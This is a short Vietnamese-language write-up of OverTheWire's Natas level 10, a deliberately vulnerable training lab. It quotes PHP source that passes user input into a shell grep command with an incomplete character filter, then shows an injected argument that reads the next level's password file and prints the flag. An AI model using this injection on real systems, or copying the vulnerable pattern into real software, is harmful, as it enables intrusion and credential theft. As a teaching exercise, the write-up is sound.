[OverTheWire] Natas – Level 10

13/09/2013

http://natas10.natas.labs.overthewire.org/

For security reasons, we now filter on certain characters
Find words containing…

Tương tự bài 09, nhưng có vẻ như đã escape mất rồi Xem source:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

$key = "";

if(array_key_exists("needle", $_REQUEST)) {

$key = $_REQUEST["needle"];

}

if($key != "") {

if(preg_match('/[;|&]/',$key)) {

print "Input contains an illegal character!";

} else {

passthru("grep -i $key dictionary.txt");

}

Như vậy các ký tự bị lọc là:

[ ; | & ]

Cũng đâu có sao nhỉ, không có ; thì cũng vẫn được mà Inject với input:

'' /etc/natas_webpass/natas11

Kết quả:

/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
dictionary.txt:
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
...

→ flag = U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK.

[OverTheWire] Natas – Level 10

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[OverTheWire] Natas – Level 10

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